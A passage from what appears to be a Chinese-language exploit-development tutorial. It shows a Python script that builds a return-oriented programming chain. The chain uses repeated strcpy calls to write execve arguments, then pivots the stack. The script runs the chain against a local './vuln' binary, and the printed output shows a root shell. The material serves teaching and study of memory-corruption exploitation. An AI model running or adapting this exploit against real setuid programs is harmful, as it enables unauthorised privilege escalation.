buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct2)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct3)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct4)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct1)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct5)
execve_path_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_path_dst)
buf += conv(execve_path_oct6)
#Below stack frame is for strcpy (to copy execve argv[0] (0x804ac60) to custom stack @ loc 0x804ac68)
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct4)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct3)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct2)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_argv1_oct1)
#Below stack frame is for strcpy (to copy execve argv[1] (0x0) to custom stack @ loc 0x804ac6c)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
execve_argv_dst += 1
buf += conv(strcpy_plt)
buf += conv(ppr_addr)
buf += conv(execve_argv_dst)
buf += conv(execve_null_arg)
#Stack Pivot
buf += conv(pr_addr)
buf += conv(cust_base_esp)
buf += conv(lr_addr)

print "Calling vulnerable program"
call(["./vuln", buf])           

執行上述利用代碼,我們會獲得 root shell(在下面展示):

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��ᆳ�ᆳ�ᆳ�ͅᆳހ�����ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳ�ᆳޢ�@���0�����Ѓ΅d�ˁЃ΅e�U�Ѓ΅f�0�Ѓ΅g�C�Ѓ΅h�܃Ѓ΅i�U�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`�Ѓ΅p���Ѓ΅q�Ѓ΅r�0�Ѓ΅s�C�Ѓ΅t���Ѓ΅u�Ѓ΅v�0�Ѓ΅w�C�Ѓ΅x�`�Ѓ΅y�`�Ѓ΅z�`�Ѓ΅{�`�Ѓ΅`�T�Ѓ΅a�W�Ѓ΅b�V�Ѓ΅c�^�Ѓ΅d�T�Ѓ΅e�b�Ѓ΅f���Ѓ΅h���Ѓ΅i�Ѓ΅j�0�Ѓ΅k�C�Ѓ΅l�`�Ѓ΅m�`�Ѓ΅n�`�Ѓ΅o�`���`�i�
Len:1008
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$           

參考

PAYLOAD ALREADY INSIDE: DATA REUSE FOR ROP EXPLOITS